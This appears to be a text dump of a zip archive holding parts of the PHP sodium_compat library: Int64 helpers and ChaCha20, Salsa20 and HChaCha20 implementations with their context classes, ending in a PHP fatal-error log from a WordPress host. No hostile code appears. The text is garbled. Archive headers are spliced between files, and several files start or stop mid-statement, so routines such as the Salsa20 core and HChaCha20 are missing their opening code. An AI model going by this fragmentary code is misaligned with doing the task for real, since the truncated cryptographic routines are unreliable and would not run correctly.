= (int) ($tmp & 0xffff); } return $return; } /** * XOR this 64-bit integer with another. * * @param ParagonIE_Sodium_Core32_Int64 $b * @return ParagonIE_Sodium_Core32_Int64 */ public function xorInt64(ParagonIE_Sodium_Core32_Int64 $b) { $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; $return->limbs = array( (int) ($this->limbs[0] ^ $b->limbs[0]), (int) ($this->limbs[1] ^ $b->limbs[1]), (int) ($this->limbs[2] ^ $b->limbs[2]), (int) ($this->limbs[3] ^ $b->limbs[3]) ); return $return; } /** * @param int $low * @param int $high * @return self * @throws SodiumException * @throws TypeError */ public static function fromInts($low, $high) { ParagonIE_Sodium_Core32_Util::declareScalarType($low, 'int', 1); ParagonIE_Sodium_Core32_Util::declareScalarType($high, 'int', 2); $high = (int) $high; $low = (int) $low; return new ParagonIE_Sodium_Core32_Int64( array( (int) (($high >> 16) & 0xffff), (int) ($high & 0xffff), (int) (($low >> 16) & 0xffff), (int) ($low & 0xffff) ) ); } /** * @param int $low * @return self * @throws SodiumException * @throws TypeError */ public static function fromInt($low) { ParagonIE_Sodium_Core32_Util::declareScalarType($low, 'int', 1); $low = (int) $low; return new ParagonIE_Sodium_Core32_Int64( array( 0, 0, (int) (($low >> 16) & 0xffff), (int) ($low & 0xffff) ) ); } /** * @return int */ public function toInt() { return (int) ( (($this->limbs[2] & 0xffff) << 16) | ($this->limbs[3] & 0xffff) ); } /** * @param string $string * @return self * @throws SodiumException * @throws TypeError */ public static function fromString($string) { ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1); $string = (string) $string; if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 8) { throw new RangeException( 'String must be 8 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.' ); } $return = new ParagonIE_Sodium_Core32_Int64(); $return->limbs[0] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff) << 8); $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff); $return->limbs[1] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff) << 8); $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff); $return->limbs[2] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[4]) & 0xff) << 8); $return->limbs[2] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[5]) & 0xff); $return->limbs[3] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[6]) & 0xff) << 8); $return->limbs[3] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[7]) & 0xff); return $return; } /** * @param string $string * @return self * @throws SodiumException * @throws TypeError */ public static function fromReverseString($string) { ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1); $string = (string) $string; if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 8) { throw new RangeException( 'String must be 8 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.' ); } $return = new ParagonIE_Sodium_Core32_Int64(); $return->limbs[0] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[7]) & 0xff) << 8); $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[6]) & 0xff); $return->limbs[1] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[5]) & 0xff) << 8); $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[4]) & 0xff); $return->limbs[2] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff) << 8); $return->limbs[2] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff); $return->limbs[3] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff) << 8); $return->limbs[3] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff); return $return; } /** * @return array */ public function toArray() { return array( (int) ((($this->limbs[0] & 0xffff) << 16) | ($this->limbs[1] & 0xffff)), (int) ((($this->limbs[2] & 0xffff) << 16) | ($this->limbs[3] & 0xffff)) ); } /** * @return ParagonIE_Sodium_Core32_Int32 */ public function toInt32() { $return = new ParagonIE_Sodium_Core32_Int32(); $return->limbs[0] = (int) ($this->limbs[2]); $return->limbs[1] = (int) ($this->limbs[3]); $return->unsignedInt = $this->unsignedInt; $return->overflow = (int) (ParagonIE_Sodium_Core32_Util::abs($this->limbs[1], 16) & 0xffff); return $return; } /** * @return ParagonIE_Sodium_Core32_Int64 */ public function toInt64() { $return = new ParagonIE_Sodium_Core32_Int64(); $return->limbs[0] = (int) ($this->limbs[0]); $return->limbs[1] = (int) ($this->limbs[1]); $return->limbs[2] = (int) ($this->limbs[2]); $return->limbs[3] = (int) ($this->limbs[3]); $return->unsignedInt = $this->unsignedInt; $return->overflow = ParagonIE_Sodium_Core32_Util::abs($this->overflow); return $return; } /** * @param bool $bool * @return self */ public function setUnsignedInt($bool = false) { $this->unsignedInt = !empty($bool); return $this; } /** * @return string * @throws TypeError */ public function toString() { return ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[2] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[2] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[3] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[3] & 0xff); } /** * @return string * @throws TypeError */ public function toReverseString() { return ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[3] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[3] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[2] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[2] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff); } /** * @return string */ public function __toString() { try { return $this->toString(); } catch (TypeError $ex) { // PHP engine can't handle exceptions from __toString() return ''; } } } PK!~ɯ88src/Core32/ChaCha20.phpnu[ * @throws SodiumException * @throws TypeError */ protected static function quarterRound( ParagonIE_Sodium_Core32_Int32 $a, ParagonIE_Sodium_Core32_Int32 $b, ParagonIE_Sodium_Core32_Int32 $c, ParagonIE_Sodium_Core32_Int32 $d ) { /** @var ParagonIE_Sodium_Core32_Int32 $a */ /** @var ParagonIE_Sodium_Core32_Int32 $b */ /** @var ParagonIE_Sodium_Core32_Int32 $c */ /** @var ParagonIE_Sodium_Core32_Int32 $d */ # a = PLUS(a,b); d = ROTATE(XOR(d,a),16); $a = $a->addInt32($b); $d = $d->xorInt32($a)->rotateLeft(16); # c = PLUS(c,d); b = ROTATE(XOR(b,c),12); $c = $c->addInt32($d); $b = $b->xorInt32($c)->rotateLeft(12); # a = PLUS(a,b); d = ROTATE(XOR(d,a), 8); $a = $a->addInt32($b); $d = $d->xorInt32($a)->rotateLeft(8); # c = PLUS(c,d); b = ROTATE(XOR(b,c), 7); $c = $c->addInt32($d); $b = $b->xorInt32($c)->rotateLeft(7); return array($a, $b, $c, $d); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_ChaCha20_Ctx $ctx * @param string $message * * @return string * @throws SodiumException * @throws TypeError */ public static function encryptBytes( ParagonIE_Sodium_Core32_ChaCha20_Ctx $ctx, $message = '' ) { $bytes = self::strlen($message); /** @var ParagonIE_Sodium_Core32_Int32 $x0 */ /** @var ParagonIE_Sodium_Core32_Int32 $x1 */ /** @var ParagonIE_Sodium_Core32_Int32 $x2 */ /** @var ParagonIE_Sodium_Core32_Int32 $x3 */ /** @var ParagonIE_Sodium_Core32_Int32 $x4 */ /** @var ParagonIE_Sodium_Core32_Int32 $x5 */ /** @var ParagonIE_Sodium_Core32_Int32 $x6 */ /** @var ParagonIE_Sodium_Core32_Int32 $x7 */ /** @var ParagonIE_Sodium_Core32_Int32 $x8 */ /** @var ParagonIE_Sodium_Core32_Int32 $x9 */ /** @var ParagonIE_Sodium_Core32_Int32 $x10 */ /** @var ParagonIE_Sodium_Core32_Int32 $x11 */ /** @var ParagonIE_Sodium_Core32_Int32 $x12 */ /** @var ParagonIE_Sodium_Core32_Int32 $x13 */ /** @var ParagonIE_Sodium_Core32_Int32 $x14 */ /** @var ParagonIE_Sodium_Core32_Int32 $x15 */ /* j0 = ctx->input[0]; j1 = ctx->input[1]; j2 = ctx->input[2]; j3 = ctx->input[3]; j4 = ctx->input[4]; j5 = ctx->input[5]; j6 = ctx->input[6]; j7 = ctx->input[7]; j8 = ctx->input[8]; j9 = ctx->input[9]; j10 = ctx->input[10]; j11 = ctx->input[11]; j12 = ctx->input[12]; j13 = ctx->input[13]; j14 = ctx->input[14]; j15 = ctx->input[15]; */ /** @var ParagonIE_Sodium_Core32_Int32 $j0 */ $j0 = $ctx[0]; /** @var ParagonIE_Sodium_Core32_Int32 $j1 */ $j1 = $ctx[1]; /** @var ParagonIE_Sodium_Core32_Int32 $j2 */ $j2 = $ctx[2]; /** @var ParagonIE_Sodium_Core32_Int32 $j3 */ $j3 = $ctx[3]; /** @var ParagonIE_Sodium_Core32_Int32 $j4 */ $j4 = $ctx[4]; /** @var ParagonIE_Sodium_Core32_Int32 $j5 */ $j5 = $ctx[5]; /** @var ParagonIE_Sodium_Core32_Int32 $j6 */ $j6 = $ctx[6]; /** @var ParagonIE_Sodium_Core32_Int32 $j7 */ $j7 = $ctx[7]; /** @var ParagonIE_Sodium_Core32_Int32 $j8 */ $j8 = $ctx[8]; /** @var ParagonIE_Sodium_Core32_Int32 $j9 */ $j9 = $ctx[9]; /** @var ParagonIE_Sodium_Core32_Int32 $j10 */ $j10 = $ctx[10]; /** @var ParagonIE_Sodium_Core32_Int32 $j11 */ $j11 = $ctx[11]; /** @var ParagonIE_Sodium_Core32_Int32 $j12 */ $j12 = $ctx[12]; /** @var ParagonIE_Sodium_Core32_Int32 $j13 */ $j13 = $ctx[13]; /** @var ParagonIE_Sodium_Core32_Int32 $j14 */ $j14 = $ctx[14]; /** @var ParagonIE_Sodium_Core32_Int32 $j15 */ $j15 = $ctx[15]; $c = ''; for (;;) { if ($bytes < 64) { $message .= str_repeat("\x00", 64 - $bytes); } $x0 = clone $j0; $x1 = clone $j1; $x2 = clone $j2; $x3 = clone $j3; $x4 = clone $j4; $x5 = clone $j5; $x6 = clone $j6; $x7 = clone $j7; $x8 = clone $j8; $x9 = clone $j9; $x10 = clone $j10; $x11 = clone $j11; $x12 = clone $j12; $x13 = clone $j13; $x14 = clone $j14; $x15 = clone $j15; # for (i = 20; i > 0; i -= 2) { for ($i = 20; $i > 0; $i -= 2) { # QUARTERROUND( x0, x4, x8, x12) list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8, $x12); # QUARTERROUND( x1, x5, x9, x13) list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9, $x13); # QUARTERROUND( x2, x6, x10, x14) list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10, $x14); # QUARTERROUND( x3, x7, x11, x15) list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11, $x15); # QUARTERROUND( x0, x5, x10, x15) list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10, $x15); # QUARTERROUND( x1, x6, x11, x12) list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6, $x11, $x12); # QUARTERROUND( x2, x7, x8, x13) list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8, $x13); # QUARTERROUND( x3, x4, x9, x14) list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9, $x14); } /* x0 = PLUS(x0, j0); x1 = PLUS(x1, j1); x2 = PLUS(x2, j2); x3 = PLUS(x3, j3); x4 = PLUS(x4, j4); x5 = PLUS(x5, j5); x6 = PLUS(x6, j6); x7 = PLUS(x7, j7); x8 = PLUS(x8, j8); x9 = PLUS(x9, j9); x10 = PLUS(x10, j10); x11 = PLUS(x11, j11); x12 = PLUS(x12, j12); x13 = PLUS(x13, j13); x14 = PLUS(x14, j14); x15 = PLUS(x15, j15); */ $x0 = $x0->addInt32($j0); $x1 = $x1->addInt32($j1); $x2 = $x2->addInt32($j2); $x3 = $x3->addInt32($j3); $x4 = $x4->addInt32($j4); $x5 = $x5->addInt32($j5); $x6 = $x6->addInt32($j6); $x7 = $x7->addInt32($j7); $x8 = $x8->addInt32($j8); $x9 = $x9->addInt32($j9); $x10 = $x10->addInt32($j10); $x11 = $x11->addInt32($j11); $x12 = $x12->addInt32($j12); $x13 = $x13->addInt32($j13); $x14 = $x14->addInt32($j14); $x15 = $x15->addInt32($j15); /* x0 = XOR(x0, LOAD32_LE(m + 0)); x1 = XOR(x1, LOAD32_LE(m + 4)); x2 = XOR(x2, LOAD32_LE(m + 8)); x3 = XOR(x3, LOAD32_LE(m + 12)); x4 = XOR(x4, LOAD32_LE(m + 16)); x5 = XOR(x5, LOAD32_LE(m + 20)); x6 = XOR(x6, LOAD32_LE(m + 24)); x7 = XOR(x7, LOAD32_LE(m + 28)); x8 = XOR(x8, LOAD32_LE(m + 32)); x9 = XOR(x9, LOAD32_LE(m + 36)); x10 = XOR(x10, LOAD32_LE(m + 40)); x11 = XOR(x11, LOAD32_LE(m + 44)); x12 = XOR(x12, LOAD32_LE(m + 48)); x13 = XOR(x13, LOAD32_LE(m + 52)); x14 = XOR(x14, LOAD32_LE(m + 56)); x15 = XOR(x15, LOAD32_LE(m + 60)); */ $x0 = $x0->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 0, 4))); $x1 = $x1->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 4, 4))); $x2 = $x2->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 8, 4))); $x3 = $x3->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 12, 4))); $x4 = $x4->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 16, 4))); $x5 = $x5->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 20, 4))); $x6 = $x6->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 24, 4))); $x7 = $x7->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 28, 4))); $x8 = $x8->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 32, 4))); $x9 = $x9->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 36, 4))); $x10 = $x10->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 40, 4))); $x11 = $x11->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 44, 4))); $x12 = $x12->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 48, 4))); $x13 = $x13->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 52, 4))); $x14 = $x14->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 56, 4))); $x15 = $x15->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 60, 4))); /* j12 = PLUSONE(j12); if (!j12) { j13 = PLUSONE(j13); } */ /** @var ParagonIE_Sodium_Core32_Int32 $j12 */ $j12 = $j12->addInt(1); if ($j12->limbs[0] === 0 && $j12->limbs[1] === 0) { $j13 = $j13->addInt(1); } /* STORE32_LE(c + 0, x0); STORE32_LE(c + 4, x1); STORE32_LE(c + 8, x2); STORE32_LE(c + 12, x3); STORE32_LE(c + 16, x4); STORE32_LE(c + 20, x5); STORE32_LE(c + 24, x6); STORE32_LE(c + 28, x7); STORE32_LE(c + 32, x8); STORE32_LE(c + 36, x9); STORE32_LE(c + 40, x10); STORE32_LE(c + 44, x11); STORE32_LE(c + 48, x12); STORE32_LE(c + 52, x13); STORE32_LE(c + 56, x14); STORE32_LE(c + 60, x15); */ $block = $x0->toReverseString() . $x1->toReverseString() . $x2->toReverseString() . $x3->toReverseString() . $x4->toReverseString() . $x5->toReverseString() . $x6->toReverseString() . $x7->toReverseString() . $x8->toReverseString() . $x9->toReverseString() . $x10->toReverseString() . $x11->toReverseString() . $x12->toReverseString() . $x13->toReverseString() . $x14->toReverseString() . $x15->toReverseString(); /* Partial block */ if ($bytes < 64) { $c .= self::substr($block, 0, $bytes); break; } /* Full block */ $c .= $block; $bytes -= 64; if ($bytes <= 0) { break; } $message = self::substr($message, 64); } /* end for(;;) loop */ $ctx[12] = $j12; $ctx[13] = $j13; return $c; } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function stream($len = 64, $nonce = '', $key = '') { return self::encryptBytes( new ParagonIE_Sodium_Core32_ChaCha20_Ctx($key, $nonce), str_repeat("\x00", $len) ); } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function ietfStream($len, $nonce = '', $key = '') { return self::encryptBytes( new ParagonIE_Sodium_Core32_ChaCha20_IetfCtx($key, $nonce), str_repeat("\x00", $len) ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @param string $ic * @return string * @throws SodiumException * @throws TypeError */ public static function ietfStreamXorIc($message, $nonce = '', $key = '', $ic = '') { return self::encryptBytes( new ParagonIE_Sodium_Core32_ChaCha20_IetfCtx($key, $nonce, $ic), $message ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @param string $ic * @return string * @throws SodiumException * @throws TypeError */ public static function streamXorIc($message, $nonce = '', $key = '', $ic = '') { return self::encryptBytes( new ParagonIE_Sodium_Core32_ChaCha20_Ctx($key, $nonce, $ic), $message ); } } PK!@(,,,src/Core32/Salsa20.phpnu[ 0; $i -= 2) { $x4 = $x4->xorInt32($x0->addInt32($x12)->rotateLeft(7)); $x8 = $x8->xorInt32($x4->addInt32($x0)->rotateLeft(9)); $x12 = $x12->xorInt32($x8->addInt32($x4)->rotateLeft(13)); $x0 = $x0->xorInt32($x12->addInt32($x8)->rotateLeft(18)); $x9 = $x9->xorInt32($x5->addInt32($x1)->rotateLeft(7)); $x13 = $x13->xorInt32($x9->addInt32($x5)->rotateLeft(9)); $x1 = $x1->xorInt32($x13->addInt32($x9)->rotateLeft(13)); $x5 = $x5->xorInt32($x1->addInt32($x13)->rotateLeft(18)); $x14 = $x14->xorInt32($x10->addInt32($x6)->rotateLeft(7)); $x2 = $x2->xorInt32($x14->addInt32($x10)->rotateLeft(9)); $x6 = $x6->xorInt32($x2->addInt32($x14)->rotateLeft(13)); $x10 = $x10->xorInt32($x6->addInt32($x2)->rotateLeft(18)); $x3 = $x3->xorInt32($x15->addInt32($x11)->rotateLeft(7)); $x7 = $x7->xorInt32($x3->addInt32($x15)->rotateLeft(9)); $x11 = $x11->xorInt32($x7->addInt32($x3)->rotateLeft(13)); $x15 = $x15->xorInt32($x11->addInt32($x7)->rotateLeft(18)); $x1 = $x1->xorInt32($x0->addInt32($x3)->rotateLeft(7)); $x2 = $x2->xorInt32($x1->addInt32($x0)->rotateLeft(9)); $x3 = $x3->xorInt32($x2->addInt32($x1)->rotateLeft(13)); $x0 = $x0->xorInt32($x3->addInt32($x2)->rotateLeft(18)); $x6 = $x6->xorInt32($x5->addInt32($x4)->rotateLeft(7)); $x7 = $x7->xorInt32($x6->addInt32($x5)->rotateLeft(9)); $x4 = $x4->xorInt32($x7->addInt32($x6)->rotateLeft(13)); $x5 = $x5->xorInt32($x4->addInt32($x7)->rotateLeft(18)); $x11 = $x11->xorInt32($x10->addInt32($x9)->rotateLeft(7)); $x8 = $x8->xorInt32($x11->addInt32($x10)->rotateLeft(9)); $x9 = $x9->xorInt32($x8->addInt32($x11)->rotateLeft(13)); $x10 = $x10->xorInt32($x9->addInt32($x8)->rotateLeft(18)); $x12 = $x12->xorInt32($x15->addInt32($x14)->rotateLeft(7)); $x13 = $x13->xorInt32($x12->addInt32($x15)->rotateLeft(9)); $x14 = $x14->xorInt32($x13->addInt32($x12)->rotateLeft(13)); $x15 = $x15->xorInt32($x14->addInt32($x13)->rotateLeft(18)); } $x0 = $x0->addInt32($j0); $x1 = $x1->addInt32($j1); $x2 = $x2->addInt32($j2); $x3 = $x3->addInt32($j3); $x4 = $x4->addInt32($j4); $x5 = $x5->addInt32($j5); $x6 = $x6->addInt32($j6); $x7 = $x7->addInt32($j7); $x8 = $x8->addInt32($j8); $x9 = $x9->addInt32($j9); $x10 = $x10->addInt32($j10); $x11 = $x11->addInt32($j11); $x12 = $x12->addInt32($j12); $x13 = $x13->addInt32($j13); $x14 = $x14->addInt32($j14); $x15 = $x15->addInt32($j15); return $x0->toReverseString() . $x1->toReverseString() . $x2->toReverseString() . $x3->toReverseString() . $x4->toReverseString() . $x5->toReverseString() . $x6->toReverseString() . $x7->toReverseString() . $x8->toReverseString() . $x9->toReverseString() . $x10->toReverseString() . $x11->toReverseString() . $x12->toReverseString() . $x13->toReverseString() . $x14->toReverseString() . $x15->toReverseString(); } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function salsa20($len, $nonce, $key) { if (self::strlen($key) !== 32) { throw new RangeException('Key must be 32 bytes long'); } $kcopy = '' . $key; $in = self::substr($nonce, 0, 8) . str_repeat("\0", 8); $c = ''; while ($len >= 64) { $c .= self::core_salsa20($in, $kcopy, null); $u = 1; // Internal counter. for ($i = 8; $i < 16; ++$i) { $u += self::chrToInt($in[$i]); $in[$i] = self::intToChr($u & 0xff); $u >>= 8; } $len -= 64; } if ($len > 0) { $c .= self::substr( self::core_salsa20($in, $kcopy, null), 0, $len ); } try { ParagonIE_Sodium_Compat::memzero($kcopy); } catch (SodiumException $ex) { $kcopy = null; } return $c; } /** * @internal You should not use this directly from another application * * @param string $m * @param string $n * @param int $ic * @param string $k * @return string * @throws SodiumException * @throws TypeError */ public static function salsa20_xor_ic($m, $n, $ic, $k) { $mlen = self::strlen($m); if ($mlen < 1) { return ''; } $kcopy = self::substr($k, 0, 32); $in = self::substr($n, 0, 8); // Initialize the counter $in .= ParagonIE_Sodium_Core32_Util::store64_le($ic); $c = ''; while ($mlen >= 64) { $block = self::core_salsa20($in, $kcopy, null); $c .= self::xorStrings( self::substr($m, 0, 64), self::substr($block, 0, 64) ); $u = 1; for ($i = 8; $i < 16; ++$i) { $u += self::chrToInt($in[$i]); $in[$i] = self::intToChr($u & 0xff); $u >>= 8; } $mlen -= 64; $m = self::substr($m, 64); } if ($mlen) { $block = self::core_salsa20($in, $kcopy, null); $c .= self::xorStrings( self::substr($m, 0, $mlen), self::substr($block, 0, $mlen) ); } try { ParagonIE_Sodium_Compat::memzero($block); ParagonIE_Sodium_Compat::memzero($kcopy); } catch (SodiumException $ex) { $block = null; $kcopy = null; } return $c; } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function salsa20_xor($message, $nonce, $key) { return self::xorStrings( $message, self::salsa20( self::strlen($message), $nonce, $key ) ); } } PK!21src/Core32/HChaCha20.phpnu[toReverseString() . $x1->toReverseString() . $x2->toReverseString() . $x3->toReverseString() . $x12->toReverseString() . $x13->toReverseString() . $x14->toReverseString() . $x15->toReverseString(); } } PK!src/Core32/ChaCha20/IetfCtx.phpnu[container[12] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 0, 4)); } $this->container[13] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 0, 4)); $this->container[14] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 4, 4)); $this->container[15] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 8, 4)); } } PK!Xv((src/Core32/ChaCha20/Ctx.phpnu[ */ protected $container; /** * ParagonIE_Sodium_Core_ChaCha20_Ctx constructor. * * @internal You should not use this directly from another application * * @param string $key ChaCha20 key. * @param string $iv Initialization Vector (a.k.a. nonce). * @param string $counter The initial counter value. * Defaults to 8 0x00 bytes. * @throws InvalidArgumentException * @throws SodiumException * @throws TypeError */ public function __construct($key = '', $iv = '', $counter = '') { if (self::strlen($key) !== 32) { throw new InvalidArgumentException('ChaCha20 expects a 256-bit key.'); } if (self::strlen($iv) !== 8) { throw new InvalidArgumentException('ChaCha20 expects a 64-bit nonce.'); } $this->container = new SplFixedArray(16); /* "expand 32-byte k" as per ChaCha20 spec */ $this->container[0] = new ParagonIE_Sodium_Core32_Int32(array(0x6170, 0x7865)); $this->container[1] = new ParagonIE_Sodium_Core32_Int32(array(0x3320, 0x646e)); $this->container[2] = new ParagonIE_Sodium_Core32_Int32(array(0x7962, 0x2d32)); $this->container[3] = new ParagonIE_Sodium_Core32_Int32(array(0x6b20, 0x6574)); $this->container[4] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 0, 4)); $this->container[5] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 4, 4)); $this->container[6] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 8, 4)); $this->container[7] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 12, 4)); $this->container[8] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 16, 4)); $this->container[9] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 20, 4)); $this->container[10] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 24, 4)); $this->container[11] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 28, 4)); if (empty($counter)) { $this->container[12] = new ParagonIE_Sodium_Core32_Int32(); $this->container[13] = new ParagonIE_Sodium_Core32_Int32(); } else { $this->container[12] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 0, 4)); $this->container[13] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 4, 4)); } $this->container[14] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 0, 4)); $this->container[15] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 4, 4)); } /** * @internal You should not use this directly from another application * * @param int $offset * @param int|ParagonIE_Sodium_Core32_Int32 $value * @return void */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if (!is_int($offset)) { throw new InvalidArgumentException('Expected an integer'); } if ($value instanceof ParagonIE_Sodium_Core32_Int32) { /* } elseif (is_int($value)) { $value = ParagonIE_Sodium_Core32_Int32::fromInt($value); */ } else { throw new InvalidArgumentException('Expected an integer'); } $this->container[$offset] = $value; } /** * @internal You should not use this directly from another application * * @param int $offset * @return bool * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetExists($offset) { return isset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return void * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetUnset($offset) { unset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return mixed|null * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetGet($offset) { return isset($this->container[$offset]) ? $this->container[$offset] : null; } } PK!\dsrc/Core32/ChaCha20/error_lognu[[04-Sep-2026 13:27:49 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10 [04-Sep-2026 13:27:49 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20_Ctx" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10 [04-Sep-2026 13:40:16 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10 [04-Sep-2026 13:40:16 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20_Ctx" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10 [10-Sep-2026 10:34:41 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in 